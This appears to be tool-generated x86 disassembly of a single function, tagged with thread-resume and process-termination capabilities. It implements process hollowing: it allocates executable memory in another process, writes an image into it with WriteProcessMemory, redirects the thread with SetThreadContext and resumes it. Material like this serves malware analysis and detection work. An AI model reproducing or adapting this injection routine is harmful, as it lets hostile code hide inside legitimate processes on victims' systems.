Function at 0x48c46c
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff0c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xc], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fdc
xor eax, eax
push ebp
push 0x48c6c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0048bf24
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 0xc]
call fcn.0048c0d8
test al, al
je 0x48c694
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x48c54a
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jb 0x48c54a
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xf0]
call fcn.0048baa4
mov eax, dword [ebp - 0xf0]
call fcn.00404fec
push eax
lea eax, [ebp - 0xf4]
call fcn.0048ba04
mov eax, dword [ebp - 0xf4]
call fcn.00404fec
push eax
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call esi
jmp 0x48c5bc
call fcn.0048be20
test al, al
je 0x48c5bc
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.0048c038
test al, al
je 0x48c57e
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [0x49fcc8]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x48c5bc
mov eax, ebx
call fcn.0048bfa4
test al, al
je 0x48c5bc
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
call dword [0x49fcc8]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x48c5bc
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0048bfbc
cmp dword [ebp - 0x1c], 0
je 0x48c670
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x1c]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x48c64a
mov dword [ebp - 0xec], 0x10007
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x48c620
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x48c626
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x48c694
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 8], 0xffffffff
jmp 0x48c694
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 8], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c6c9
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.00404b50
lea eax, [ebp - 0xc]
call fcn.00404b2c
lea eax, [ebp - 4]
call fcn.00404b2c
ret